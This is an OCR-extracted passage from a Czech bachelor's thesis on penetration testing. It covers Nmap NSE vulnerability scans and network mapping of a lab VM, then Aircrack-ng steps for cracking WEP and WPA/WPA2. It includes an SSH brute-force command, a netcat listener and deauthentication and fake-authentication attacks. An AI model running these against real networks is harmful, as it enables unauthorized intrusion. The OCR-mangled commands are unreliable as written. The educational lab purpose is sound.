cilem je automatizovat pokrocilé skenovaci ulohy, jako jsou objevovani sité, detekce
zranitelnosti a jejich zneuzivani, testovani hrubou silou, zjistovani sluzeb a jejich verzi, detekce
zadnich vratek, sbéru informaci a podobné. NSE skripty tedy jednoduse pomahaji skenovani
CasteCnou automatizaci a je mozné vyuzit stdvajici skripty nebo je moZné si je vytvofit.
V pripadé vlastniho skriptu je nutné jej pojmenovat s priponou *.nse a umistit jej do spravného
adresare. Pro pouziti zakladnich NSE skriptl se pouZiva prepinac -sC, podobné jako prepinac
-A (-sC je ekvivalentem pro --script=default a provadi sken skriptll spusténim vychozi sady
zakladnich skriptll). Kazdy skript obsahuje pole, které skript ptifazuje k jedné nebo vice
kategoriim. SloZitéjsi vybér skriptl Ize provadét pomoci operatorli and, or a not pro tvorbu
booleovskych vyrazi. Operatory maji stejnou prednost jako v kazdém typickém programovani,
prednost se mlzZe zménit pomoci zavorek. Pro spusténi skriptl se pouziva prikaz nmap --script
s doplnénim nazvu konkrétniho skriptu a cile. Na jeden cil Ize pochopitelné vyuZit vice skriptl
v jednom prikazu. Zobrazeni napovédy pro konkrétni skript Ize naptiklad pro skript ftp-vsftpd-
backdoor.nse, zplsobem --script-help ftp-vsftpd-backdoor.nse. NSE skripty lze aktualizovat
pomoci pfikazu nmap --script-updatedb (Nmap Script Engine (NSE), 2025):
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luke kall -'~:
Startlng Nmap 7.98 ( https f/nmap org ) at 2026-03-22 19:35 +0100
NSE: Updating rule database.
NSE: Script Database updated successfully.
Nmap done: ©® IP addresses (@ hosts up) scanned in ©.51 seconds

Obr. 51: Nmap, skripty Nmap, aktualizace
Zdroj: Vlastni zpracovdni (2026)

luke® kali)-[ /usr/share/nmap/scripts]
$ 11 /usr/share/nmap/scripts/ | -
614
Obr. 52: Nmap, celkovy pocet skriptt
Zdroj: Vlastni zpracovani (2026)

Jednotlivé konkrétni NSE skripty jsou soucasti konkrétni kategorie, k nimz patfi. Coz v praxi
znamena, Ze napfiklad skripty http-dombased-xss, http-csrf, http-stored-xss, smb-vuln-ms10-
061, smb-vuln-ms10-054 a samba-vuln-cve-2012-1182 jsou soucasti kategorie skriptl vuln
(kategorie je nutné psat malymi pismeny), a pokud se spusti cely skript, takto nmap
--script=vuln 192.168.204.130, spusti se vSechny skripty kategorie vuln. Ke spusténi pouze
jednoho jediného skriptu kategorie vuln je nutné konkrétni skript zapsat naptiklad takto, nmap
--script=http-dombased-xss 192.168.204.130 (Nmap Script Engine (NSE), 2025):

- | luke@kali: ~

Session Actions Edit View Help

1uke® kali)-[~]
4§ nmap ript=vuln 192.168.204.130
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 16:42 +0100
Nmap scan report for 192.168.204.130
Host is up (0.00033s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
80/tcn gnen hiin
| http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf: Couldn't find any CSRF vulnerabilities.
| http-stored-xss: Couldn't find any stored XSS vulnerabilities.
/tcp open netblos-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:AC:85:4D (VMware)

| _smb-vuln-ms10-061: Could not negotiate a connection:SMB: ERROR:
ore fields are missing); aborting [9]

| smb-vuln-ms10-054: false

| samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB:
one or more S are missing); aborting ]

Nmap done: 1 IP address (1 host up) scanned in 42.12 seconds

Obr. 53: Nmap, vypis kategorie vuln
Zdroj: Vlastni zpracovadni (2026)
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Z pokusu vyplyva, Ze HTTP skripty http-dombased-xss: Couldn't find any DOM based XSS (skript
nenasel Zzadnou DOM-based XSS zranitelnost), http-csrf: Couldn't find any CSRF vulnerabilities
(nenasel Zadnou CSRF zranitelnost), http-stored-xss: Couldn't find any stored XSS
vulnerabilities (nenasel Zadnou uloZenou (stored) XSS zranitelnost) a Samba skripty smb-vuln-
ms10-061: Could not negotiate a connection (skript se nedokazal pfipojit k SMB sluzbé, takze
test neprobéhl), smb-vuln-ms10-054: false (test probéhl a zranitelnost nebyla nalezena)
a samba-vuln-cve-2012-1182: Could not negotiate a connection (opét se nepodafilo navazat
SMB spojeni, takZze skript nemohl nic otestovat). Vysledek je, Ze port 80 je otevieny a HTTP
skripty se spustily, ale nic nenasly. Porty 139 a 445 jsou oteviené a SMB skripty se pokusily
spustit, ale nékteré se nepfipojily a jeden test vySel jako nezranitelny. Spusténi pouze
zkousenych HTTP skriptl kategorie vuln, aniz by se uplatnily vSechny skripty kategorie vuln:

luke® kali)-[~
$ nmap —-s =h ) : 51 192.
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 17:00 +0100
Nmap scan report for 192.168.204.130
Host is up (0.00021s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
| http-csrf: Couldn’'t find any CSRF vulnerabilities.
| http-stored-xss: Couldn't find any stored XSS wvulnerabilities.
| http-dombased-xss: Couldn't find any DOM based XSS.
Cp open neLblos-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:AC:85:4D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds

Obr. 54: Nmap, vypis HTTP skriptd
Zdroj: Vlastni zpracovdni (2026)

Vybérem urcitych HTTP skriptl lze vysledek konkretizovat. Z adresare umisténi skriptl Ize
vygrepovat pouze skripty kategorie vuln ¢i pouze skripty kategorie vuln, tykajici se napfriklad
sluzby Samba:

luke® kali ~
$ 1l /usr/share/nmap/scripts/ | crep vuln
-rw-r—r-—— 1 root root 7001 Dec 17 14:47 afp-path-wuln.nse
-rw-r—r-— 1 root root 5923 Dec 17 14:47 ftp-vuln-cve2B10-4221.ns
-rw-r—r— 1 root root 6973 Dec 17 14:47 http-huawei-hg5sxx-vuln.n
-rw-r—r— 1 root root 7921 Dec 17 14:47 http-iis-webdav-vuln.nse
-rw-r—r-- 1 root root 4111 Dec 17 14:47 http-vmware-path-vuln.ns
Obr. 55: Nmap, vypis skriptd kategorie vuln
Zdroj: Vlastni zpracovdni (2026)
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luke® kali ~
$ /usr/share/nmap/scripts/ | vuln | smb
-rw-r—r-- 1 root root 5269 Dec 17 14:47 smb2-vuln-uptime.nse
-rw-r—r-— 1 root root 7524 Dec 17 14:47 smb-vuln-conficker.nse
-rw-r—r— 1 root root 6402 Dec 17 14:47 smb-vuln-cve2009-3103.ns
-rw-r—-r— 1 root root 23154 Dec 17 14:47 smb-vuln-cve-2017-7494.n

Obr. 56: Nmap, vypis skriptd kategorie vuln, sluzba samba
Zdroj: Vlastni zpracovadni (2026)

Nasledujici seznam popisuje kazdou kategorii skriptd (Nmap Script Engine (NSE), 2025):

e auth - préce s autentizaci (pfihlaseni, obchazeni, anonymni pfistup),

e broadcast - hledani hostll v lokalni siti pomoci broadcastu,

e brute - hruba sila, zkouseni hesel a prihlasovacich udaj,

e default - skripty, které se spousti automaticky pti -sC nebo -A,

e discovery - zjistovani informaci o siti a sluzbach (titulek webu, SMB sdileni, SNMP info),
e dos - testy, které mohou zpUsobit DoS nebo zatiZeni cile,

e exploit - aktivni zneuZiti konkrétni zranitelnosti,

e external - skripty komunikujici s externimi sluzbami (napfiklad whois),
e fuzzer - posilani nahodnych/neocekavanych dat pro hledani chyb,

e intrusive - rizikové skripty, mohou byt Skodlivé nebo zatézujici,

e malware - detekce znamych malware chovani nebo backdoord,

e safe - bezpecné skripty, minimalni riziko, nezatézuji systém,

e version - pomahaji s detekci verzi sluzeb (pouze pfi -sV),

e vuln - kontrola konkrétnich zndmych zranitelnosti.

Skripty maji i moznost zadani argumentu v pfikazové radce, kde vedle kategorie ¢i konkrétniho
skriptu je mozné doplnit ptikaz i s argumentaci (napfiklad pfidanim wordlist.txt pfi
slovnikovém Utoku). Mozné je pfi psani skriptld do prikazové radky pouzit i booleovské vyrazy.
Dale i mddy bezpecnosti default, safe, not intrusive, default or safe, default and safe, default
or safe or intrusive. Nmap je skutecné rozsahly nastroj s mnoha moZnostmi, které jsou
uvedeny na oficidlnich strankach ndastroje Nmap a na jeho manudlovych strankach. Na
strankdch Nmap jsou mimo jiné uvedeny i seznamy konkrétnich skriptll a jejich kategorii
s popisy. Dllezité pfi psani vicero skriptl, je dodrzet nasledujici nmap
--script=skript1,skript2,skript3 (¢arka bez mezer) nebo nmap --script=skriptl --script=skript2
--script=skript3 (Nmap Script Engine (NSE), 2025).

Priklad €. 1 - sudo nmap -p 80,443 --script=http-title,http-methods,http-headers,http-server-
header,http-enum 192.168.204.130:
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—(luke® kali)-[~]
sudo nmap -p 80, 443 \

Ltp-enum 192 168 2@4 13@
Startlng Nmap ? 98 ( https://nmap.org ) at 2026-03-23 19:11 +0100
Nmap scan report for 192.168.204.130

Host is up (0.00065s latency).

PORT STATE SERVICE

| http-server-header: Apache/2.4.65 (Debian)

| _http-title: Apache2 Debian Default Page: It works
| http-methods:

| Supported Methods: GET POST OPTIONS HEAD

| http-headers:

| Date: Mon, 23 Mar 2026 18:11:18 GMT

| Server: Apache/2.4.65 (Debian)

I Last-Modified: Mon, 16 Mar 2026 12:58:00 GMT
| ETag: "29cf-64d23c4bad29c”

| Accept-Ranges: bytes

| Content-Length: 10703

| Vary: Accept-Encoding

| Connection: close

| Content-Type: text/html

|

I

(Request type: HEAD)
L )
MAC Address: 00:0C:29:AC:85:4D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.07 seconds
Obr. 57: Nmap, pfiklad prvni
Zdroj: Vlastni zpracovani (2026)

Vysledek pfikladu €. 1 - na portu 80 béZi Apache 2.4.65 na Debianu, server podporuje metody
GET, POST, OPTIONS a HEAD. Posila standardni HTTP hlavic¢ky véetné typu obsahu, délky a data
posledni Upravy. Titulek stranky je vychozi. Port 443 je uzavieny a skript http-enum nenasel
Zadné dalsi cesty, jedna se o Cistou instalaci Apache bez dalSich sluzeb nebo aplikaci.

Priklad €. 2 - sudo nmap -p 22,80,443,445 --script=discovery,safe,version 192.168.204.130:
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—(luke® kali)-[~]
----- sudo nmap -p 22,80,443,445 \
' ery,safe,version \

192.168.204.130
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 19:34 +0100
No profinet devices in the subnet
Pre-scan script results:
| targets-ipv6-multicast-echo:
| IP: feB80::20c:29ff:feac:854d MAC: 00:0c:29:ac:85:4d IFACE: e
Use ——script-args=newtargets to add the results as targets
broadcast-ping:
IP: 192.168.204.2 MAC: @0:50:56:12:82:56
Use --script-args=newtargets to add the results as targets
eap-info:
Available authentication methods with identity="anonymous"” on in
unknown EAP-TTLS
unknown EAP-TLS
unknown EAP-MSCHAP-V2
unknown PEAP
targets-ipv6-multicast-invalid-dst:
IP: feB0::20c:29ff:feac:854d MAC: @0:0c:29:ac:85:4d IFACE: e
Use —-script-args=newtargets to add the results as targets
ug in broadcast-upnp-info: no string output.
broadcast-igmp-discovery:
192.168.204.1
Interface: eth®
Version: 2
Group: 224.0.0.251
Description: mDNS (rfc6762)
192.168.204.1
Interface: eth®

b
I
I
Jo
I
I
I
I
I
I
I
I
| _
B
I
I
I
I
I
I
I
I

Obr. 58: Nmap, priklad druhy
Zdroj: Vlastni zpracovadni (2026)

Vysledek prikladu ¢. 2 - vysledky kategorii skriptli discovery, safe a version nefikaji nic
o cilovém serveru, ale misto toho spustily hromadu broadcast a sitovych discovery skript(,
které jen ukazaly zafizeni a multicast provoz v celé siti (DHCP server, router, multicast skupiny,
IPv6 adresy, IGMP, LLMNR a mDNS). Skripty nejsou zamérené na konkrétni porty, ale na sit
jako celek.

Priklad €. 3 - sudo nmap -sC 192.168.204.130 (sudo nmap --script=default 192.168.204.130):
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luke® kali)-[~
$ mag 192.168.204.130
Startlng Nmap 7.98 ( https://nmap.org ) at 2026-03-23 19:44 +0100
Nmap scan report for 192.168.204.130
Host is up (0.00023s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| _http-title: Apache2 Debian Default Page: It works
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:AC:85:4D (VMware)

Host script results:
smb2-security-mode:

I
| 3.1.1:

| _ Message signing enabled but not required
I

I

I

smb2-time:
date: 2026-03-23T18:44:12
start_date: N/A

Nmap done: 1 IP address (1 host up) scanned in 29.70 seconds

Obr. 59: Nmap, pfiklad tfeti
Zdroj: Vlastni zpracovani (2026)

Vysledek pfikladu €. 3 - server ma oteviené porty SSH (22), HTTP (80) a SMB (139/445), web
béZi na vychozi Apache strance, SMB pouZiva protokol 3.1.1 s povolenym (ale nevyZadovanym)

podpisovanim zprav a SMB server ukazal sv(j aktudlni ¢as. Zadné daldi informace ani
zranitelnosti.

Ukdzka kddu - brute force Utoku na port 22 se sluzbu OpenSSH a pouzitim slovnikového utoku
s wordlistem jako argumentem v pfikazu (Nmap Script Engine (NSE), 2025):

luke® kali |
4 sudo nmap 22 5CT ] ssh-brute \

' userdb=/usr/share/worldlists/commonusernames.txt, \
passdb Jusr/share/wordlists/commonpassword. txt,ssh-brute.timeout=4s \
192.168.204.130

Obr. 60: Nmap, ukazka kodu
Zdroj: Vlastni zpracovani (2026)

2.4.3 Generovani sitovych map

Generovani sitovych map je velice jednoduchy proces, pfi kterém se ziskd mnoho informaci
o zatizenich pfipojenych do sité a mnoho dalSich uZite¢nych informaci o siti. Sitové mapy jsou
velice snadno zneuZitelné na verejnych Wi-Fi sitich bez moZnosti autentizace heslem. Kazdé
zafizeni pFipojené k verejné siti se tak snadno mze stat teréem Utoku. Celou sit |Ize naskenovat
pomoci nastroje Nmap béhem nékolika krokd (Nmap, 2026):

nmap -T5 -A -v 192.168.204.0/24 -oX network-map.xml - naskenuje celou sit do souboru
network-map.xml. XML soubor je necitelny pro ¢lovéka, avsak da se prevést na HTML soubor
(-A aggressive - vSe, -oX - output soubor xml, -v - verbose, -T5 - nejvyssi rychlost):
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—(luke® kali)-[~]
% nmap -T5 -A -v 192.168.204.0/24 -0X network-map.xml

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-23 20:07 +0100

NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 20:07

—(luke® kali)-[~]
L¢$ 11
total 104

-I'W-TwW-T —
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

luke luke 116 Mar 16 12:48 bettercap.history
luke luke 4096 Mar 10 09:55 Desktop

luke luke 4096 Mar 10 09:55 Documents

luke luke 4@96 Mar 1@ @09:55 Downloads

P Pl P

network-map.xml
ictures

~FW-TW-F—
PWXI-XI'—X :
drwxr-xr-x 4096 Mar 10 ©9:55 Public
drwxr-xr-x 4096 Mar 10 09:55 Templates
drwxr-xr-x 2 luke luke 4096 Mar 10 @9:55 videos

Obr. 61: Nmap, XML soubor sitové mapy
Zdroj: Vlastni zpracovadni (2026)

2 luke luke

]
—
=
=
43
—
==
-
[+

xsltproc ./network-map.xml -o ./network-map.html — pfevede soubor *.xml na *.html.

firefox network-map.html — Citelnd, naskenovana mapa sité, vytvorena nastrojem Nmap:

Nmap Scan Report - Scanned at Mon Mar 23 20:07:58 2026

Scan Summary | 192.168.204.0 | 192.168.204.1 | 192.168.204.2 | 192.168.204.3 | 192.168.204.4 | 192.1/
192.168.204.8 | 192.168.204.9 | 192.168.204.10 | 192.168.204.11 | 192.168.204.12 | 192.168.204.13 | 19!
192.168.204.16 | 192.168.204.17 | 192.168.204.18 | 192.168.204.19 | 192.168.204.20 | 192.168.204.21 |
192.168.204.24 | 192.168.204.25 | 192.168.204.26 | 192.168.204.27 | 192.168.204.28 | 192.168.204.29 |
192.168.204.32 | 192.168.204.33 | 192.168.204.34 | 192.168.204.35 | 192.168.204.36 | 192.168.204.37 |
192.168.204.40 | 192.168.204.41 | 192.168.204.42 | 192.168.204.43 | 192.168.204.44 | 192.168.204.45 |
192.168.204.48 | 192.168.204.49 | 192.168.204.50 | 192.168.204.51 | 192.168.204.52 | 192.168.204.53 |
192.168.204.56 | 192.168.204.57 | 192.168.204.58 | 192.168.204.59 | 192.168.204.60 | 192.168.204.61 |
192.168.204.64 | 192.168.204.65 | 192.168.204.66 | 192.168.204.67 | 192.168.204.68 | 192.168.204.69 |
192.168.204.72 | 192.168.204.73 | 192.168.204.74 | 192.168.204.75 | 192.168.204.76 | 192.168.204.77 |
192.168.204.80 | 192.168.204.81 | 192.168.204.82 | 192.168.204.83 | 192.168.204.84 | 192.168.204.85 |
192.168.204.88 | 192.168.204.89 | 192.168.204.90 | 192.168.204.91 | 192.168.204.92 | 192.168.204.93 |
192.168.204.96 | 192.168.204.97 | 192.168.204.98 | 192.168.204.99 | 192.168.204.100 | 192.168.204.10°
192.168.204.104 | 192.168.204.105 | 192.168.204.106 | 192.168.204.107 | 192.168.204.108 | 192.168.20
|192,168.204.112192.168.204.113 | 192.168.204.114 | 192.168.204.115 | 192.168.204.116 | 192.168.2
192.168.204.119 | 192.168.204.120 | 192.168.204.121 | 192.168.204.122 | 192.168.204.123 | 192.168.20
| 192.168.204.127 | 192.168.204.128 | 192.168.204.129 | 192.168.204.130 | 192.168.204.131 | 192.168.2

Obr. 62: Nmap, HTML soubor sitové mapy, adresy
Zdroj: Vlastni zpracovani (2026)

88



Ports

Vysoka skola polytechnicka Jihlava

The 996 ports scanned but not shown below are in state: closed

+ 996 ports replied with: reset

Port State (toggle closed [0] | filtered [0]) Service Reason Product
22 tcp open ssh syn-ack OpenSSH
80 tcp apen hitp syn-ack Apache hitpd

http-title .

Apache2 Debian Default Page: It works
http-methods
Supported Methods: GET POST OPTIONS HEAD

hittp- -head

Hp=SeVECheanbe Apache/2.4.65 (Debian)
139 |tcp open netbios-ssn syn-ack Samba smbd
445  |fcp open netbios-ssn syn-ack Samba smbd

Remote Operating System Detection

= Uzed port: 22/tep (open)
« Used port: 1itep (closed)
+ Used port: 38684/udp (closed)

+ OS match: Linux 4.15 - 519 {100%)

Host Script Output

Script Name

Qutput

smb2-time

date: 2026-03-23T19:08:21
start date: N/A

smb2-securnty-mode

3 i B b

Message signing enabled but not required

Zdroj: Vlastni zpracovani (2026)

Ostatni uzite€né linuxové prikazy:

e netdiscover — zobrazi vSechna pfipojena zafizeni v siti a sefadi je do tabulky,

Obr. 63: Nmap, HTML soubor sitové mapy, porty

e nc-nvlp 1234 - poslouchani portu pomoci Nmap, kde -LP je poslech na portu 1234,

e searchsploit — slouZi k rychlému vyhledavani znamych zranitelnosti v Exploit-DB.

2.5 Aircrack-ng — bezdratové utoky

Aircrack-ng je kompletni sada nastrojd urcend k penetracnimu testovani bezdratovych siti.

Slouzi k analyze a testovani zabezpeceni bezdratovych siti, pracuje s rlznymi typy Sifrovani

a protokold. Sklada se z nékolika dil¢ich nastrojl, z nichz kazdy ma svou originalni funkci. Zde

jsou vyjmenovdny ty nejdulezitéjsi (How to Use Aircrack-ng: A Guide to Network Compromise,

2025):

e airbase-ng - vytvareni softwarového pristupového bodu pro testovani siti,
e aircrack-ng - analyza zachycenych paket( a testovani sitového zabezpeceni,

e airdecap-ng - desifrovani zachycenych paketd, pokud je k dispozici klic,

e aireplay-ng — generovani ramc( pro testovani chovani Wi-Fi,

e airserv-ng - sdileni Wi-Fi karty pfes sit,
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e airmon-ng - pifepnuti Wi-Fi adaptéru do monitorovaciho rezimu,

e airodump-ng - pasivni zachytavani paketl a informaci o sitich,

e airodump-ng-oui-update - aktualizace databaze vyrobcl MAC adres,

e airtun-ng - tvorba virtualnich tunell pro experimentalni ucely,

e Dbesside-ng - automatizované testovani zabezpeceni Wi-Fi, pasivni sbér dat.

K zachytavani paketd a vytvareni handshake ze sitového provozu pfi vyuZiti nastroje aircrack-
ng je zapotrebi mit vykonny Wi-Fi adaptér, ktery podporuje monitor mode, packet injection,
ma spravné ovladace, pfipadné podporu i 5 GHz a stabilitu pfi prepinani rezimu z monitor
mode na managed mode. Vétsina Wi-Fi adaptérl ma dostupny pouze managed mode, co? je
aktivni, béZny rezim, kterym je pfipojeni na Access Point (router). Pfijima a odesila rdmce, coz
je zakladni méd pro normalni pouzivani internetu. Nékteré Wi-Fi adaptéry se mohou prepnout
na monitor mode, cozZ je i potfebné pro praci s aircrack-ng. Monitor mode pasivné zachycuje
ramce. Wi-Fi adaptér odposlouchava, co se vysila vzduchem a vidi vSechny typy rdmc(, beacon,
probe i data. Je tak schopen odhalit informace o blizkych routerech, vcéetné jejich MAC adres.
Proto jsou Wi-Fi sité tak nebezpecné, protoze jsou viditelné. Monitor mode nic neovliviiuje,
pouze prijima a z toho dlvodu také béhem monitor mode neni dostupny internet. Packet
injection je aktivni vysilani generovanych specidlnich ramct, které mohou ovlivnit ovladani
Wi-Fi sité tak, Ze vyvolaji reakci routeru, naptiklad opétovnym ptihlasenim, zménou kanadlu
a zejména deautentizace. Wi-Fi adaptéry mohou byt interni i externi. Interni, nasazené na
zakladni desce, jsou spolehlivéjsi a stabilnéjsi oproti tomu, externi Wi-Fi USB adaptéry dosahuji
vétsiho rozsahu diky anténé a celkové vétsiho vykonu. DlleZity je Cipset Wi-Fi adaptéru, kde
absolutné kraluji Cipsety od firmy Atheros, diky open-source ovladacim. Kralem mezi Wi-Fi
USB adaptéry s vybornou podporou Linuxu je AWUSO36NHA s Cipsetem Atheros AR9271
a ovladacem ath9k_htc od firmy Alfa Network, ktery je vSak dnes k sehndni pouze bazarové.
Pro ucely bakaldrské prace byl pouZit USB Wi-Fi adaptér AWUSO36ACHM s Cipsetem MediaTek
MT7610U, ovladacem mt76, podporou 5Ghz a vybornou podporou Linuxu od firmy Alfa
Network. Nastaveni sitového rozhrani na monitor mode lze nékolika zpGsoby (How to Use
Aircrack-ng: A Guide to Network Compromise, 2025):

e Prikazy pro vytvofeni mode monitor na vlastni karté - ifconfig (zjisti se rozhrani),
iwconfig (nastaveni rozhrani), sudo systemctl stop NetworkManager (deaktivace sité),
sudo ip link set wlan0 down (deaktivace rozhrani), sudo iw wlanO set monitor control
(mode monitor), sudo ip link set wlan0 up (aktivace rozhrani). Béhem testovani musi
sit zUstat deaktivovana. Pokud se sit aktivuje, wlan0 se pfepne do managed mode. Pfi
navraceni do plvodniho stavu se opakuje postup odzadu, jen prikaz pro managed
mode je sudo iw wlan0 set type managed. Aktivuje monitor mode pfimo na vlastni
sitové karté s nazvem plvodniho rozhrani,

e Prikazy pro vytvoreni mode monitor na pridané virtualni karté - sudo iw dev wlan0
interface add mon0 type monitor (pfidani virtualniho rozhrani mon0), sudo ip link set
mon0 up (aktivace rozhrani) a do plvodniho stavu zpét pomoci sudo ip link set mon0
down (deaktivace rozhrani), sudo iw dev monO del (vymaz rozhrani). Pfidava nové
virtualni sitové rozhrani s nazvem mon0 pro monitor mode a rozhrani wlan0 z(stava,

e Prikazy pomoci nastroje aircrack-ng pro vytvoreni monitor mode na ptvodni karté -
sudo airmon-ng start wlan0 (pfidani a start virtudlniho rozhrani mon0), sudo airmon-
ng stop wlanOmon (odebrani a deaktivace virtudlniho rozhrani monQ). Zminovany
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zpUsob je idedlni pro praci s nastroji aircrack-ng, avsak puavodni sitové rozhrani wlan0
je nahrazeno rozhranim s ndzvem wlanOmon.

Tab. 7: Prehled zabezpeceni bezdratovych siti

Typ Sifrovdni Popis Handshake

Nepouzivané, zastaralé a
WEP RC4 ) ] L. Shared Key
prolomitelné zabezpeceni.

Aircrack-ng dokaze zachytit PSK (Pre-
WPA | TKIP e
handshake a ovéfit silu hesla. Shared Key)
Stejné jako u WPA,
L e, ., PSK (Pre-
WPA2 AES-CCMP nejpouzivanéjsi soucasné

L Shared Key)
zabezpeceni.

Nejodolnéjsi a nejnovéjsi, kde
WPA3 AES-CCMP/GCMP | heslo nelze zjistit, dokazou se SAE
vsak zachytit rdmce.

Zdroj: vlastni zpracovani dle Microsoft Copilot: vas Al pomocnik (2026)

Ze seznamu zabezpeceni bezdratovych siti se zabezpeceni WEP prakticky jiz nikde nepouziva,
jeho zabezpeceni je slabé a snadno prolomitelné. WPA se pouZiva zfidka a také jiz nepatfi
v soucasné dobé mezi pouzivané zabezpeceni. WPA3-SAE je zase pfiliS moderni a vysoce
zabezpecené, nicméné jeho rozsifeni je stile vzacné. WPA2-PSK je standardem dnesni doby
a jeho zabezpeceni je vysoké. Stale ale plati, Ze silné heslo dokaze zabezpedit bezdratovou sit
Iépe bez ohledu na jeji typ neZ heslo 123 se zabezpecenim WPA3-SAE (Bezdratova sit, 2025).

2.5.1 Prolomeni zabezpeceni WEP

Zabezpeceni typu WEP se dnes prakticky jiz nevidi, presto se nékde jesté pouziva. Postup pro
prolomeni zabezpeceni je velice podobny jako u prolomeni zabezpeceni typu WPA/WPA2 pfi
pouziti sady nastroja aircrack-ng. Vzhledem k zastaralému typu Sifrovani RC4 a inicializacnimu
vektoru (IV) o délce 24 bit s rychlym opakovanim je velice snadné zabezpeceni WEP prolomit.
Pravé kvali rychlému opakovani mize Utocnik pakety porovndvat a odvodit tak heslo. Postup
prolomeni Ize s nékolika vyjimkami provést totozné. JelikoZ se zde jednd o zabezpeceni typu
WEP a neni tedy zapotrebi handshake, je 1épe provést Utok na AP ptikazem s parametrem
--fakeauth Cili sudo aireplay-ng --fakeauth 0 misto parametru --deauth 0. Parametr --deauth
zpUsobi AP odpojeni od sité, kdeZto --fakeauth se snazi presvédcit AP, Ze utocnik je legitimni
klient a posila tak ramce potfebné k naplnéni souboru *.cap pakety s IV, které poté slouzi
k prolomeni hesla. Ze souboru *.cap se poté nastrojem aircrack-ng ziskd heslo ve tvaru
oddéleném dvojteckami, dvojtecky se poté musi z vysledku odstranit (Tutorial: How to Crack
WPA/WPA2, 2010).

2.5.2 Prolomeni zabezpeceni WPA/WPA2

Postup pfi prolomeni bezpecnosti WPA sadou nastroja aircrack-ng je naprosto totozny jako
postup pfi prolomeni bezpecnosti WPA2, oba typy zabezpeceni se lisi jen ve zpUsobu Sifrovani.
Na pokusy pfi testovani byl pouzit USB Wi-Fi adaptér AWUSO36ACHM, ktery dokaze monitor
mode i injection mode, s Cipsetem MediaTek MT7610U a ovladacem mt76 od firmy Alfa
Network. Po ptipojeni do USB portu se nemusi nic instalovat ani ve Windows. Ve VMware
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Workstation se pfipoji nejrychleji do virtualniho systému ikonou vpravo dole, kde jsou
umisténé hardwarové nastroje. Wi-Fi adaptér je zde pojmenovan Cipsetem MediaTek WiFi.
Poté se jen potvrdi moznost Connect to host. Pfi zapojeni do béZiciho virtualniho systému se
systém zepta automaticky. Poté ihned funguje bez jakékoliv instalace ovladacl. Spravné
nastaveni adaptéru lze ovéfit prikazy (Tutorial: How to Crack WPA/WPA2, 2010):

e ifconfig — dostupné rozhrani wlan0,
e iwconfig — vypsani mdédu rozhrani wlan0, bud managed nebo monitor,
e Isusb — vypsani adaptéru na USB portu, MediaTek Inc. WiFi,
e cat /etc/os-release — informace o aktualnosti distribuce Kali Linux,
e uname -a —informace o aktudlnosti jadra a systému.
luke® kali)-[~]

$ iwconfig
lo no wireless extensions.

eth@ no wireless extensions.

wlan®mon IEEE 802.11 IMode:MonitorI Frequency:2.457 GHz Tx-Power=2 dBi
Retry short Limit: thr:off  Fragment thr:off

Power Management:on

Obr. 64: Aircrack-ng, pfikaz iwconfig
Zdroj: Vlastni zpracovdni (2026)

luke® kali ~
$ 1s

i - : i @ root hub
Bus 001 Device @02: ID @e8d:761@ MediaTek Inc. WiFi
BUS U02 DEvVICE OOL: 10 100D:000L Linux roundation I.1 root hub
Bus 002 Device @02: ID @e0@f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 003: ID Qe0f:0002 VMware, Inc. Virtual USB Hub

Obr. 65: Aircrack-ng, pfikaz Isusb

Zdroj: Vlastni zpracovdni (2026)
Kroky k prolomeni zabezpeéeni WPA/WPA2 za pomoci nastroje aircrack-ng jsou nasledujici:
sudo airmon-ng check kill — doporuceny prikaz, vypne vSechny procesy prekazZejici adaptéru

plné vykondvat svou funkci. Rovnéz je lze vypnout pfikazem pro ukonceni procesu kill -9 PID.
PID vsech prekazejicich procesl vypiSe nasledujici pfikaz sudo airmon-ng start wlan0.

sudo airmon-ng start wlan0 — doporuceny postup pro nastroje aircrack-ng pfi nastaveni médu
adaptéru na monitor mode. Rozhrani wlanO se tak pfejmenuje na wlanOmon. Lze ovéfit prikazy
iwconfig nebo sudo airmon-ng start wlanOmon:

luke® kali ~ ]

$ ) ai ¢ start wlan@mon
PHY Interface Driver Chipset
phy@ wlan®@mon mt76x0Qu MediaTek Inc. WiFi

(mac80211f monitor model.‘:llr'ef:ldyr enabled for [phy®]wlan@m

Obr. 66: Aircrack-ng, pfikaz airmon
Zdroj: Vlastni zpracovdni (2026)

sudo airodump-ng wlanOmon — zde Ize podle BSSID nalézt MAC adresu AP (routeru). Dilezité
je také zkontrolovat dle fadku BSSID, CH (Channel), ENC, CIPHER, AUTH a ESSID. Beacons znaci
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pocet majakovych ramcl vysilanych Wi-Fi routerem, aby o sobé dal védét. Vypis se ukonci
CTRL+C:

irodump-

Elapsed: 5 mins ][ 2026-04-01 18:31 1]

PWR Beacons #Data, #/s CH ENC/ CIPHER AUTH ESSID

-80 8 6 2 CCMP PSK phi 60188
6 b! PSK Galaxy A
-80 : 6 ¢ PSK Halada 2,
f f 7 CCmMp PSK <lencth:
CCMP PSK DomaNet
WPAZ CCMP P5K <length:

Obr. 67: Aircrack-ng, pfikaz airdump
Zdroj: Vlastni zpracovadni (2026)

sudo airodump-ng wlanOmon -d 00:E0:4C:BD:38:08 — pfrikaz airodump s konkrétni MAC
adresou vybere pouze jeden router Ci vice routerl, pokud se zada vice MAC adres. Zde
konkrétné je vidét i zafizeni (mobilni telefon jako station) pfipojené k siti:

CH 2 ][ Elapsed: 2 mins ][ 2026-04-01 18:50

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

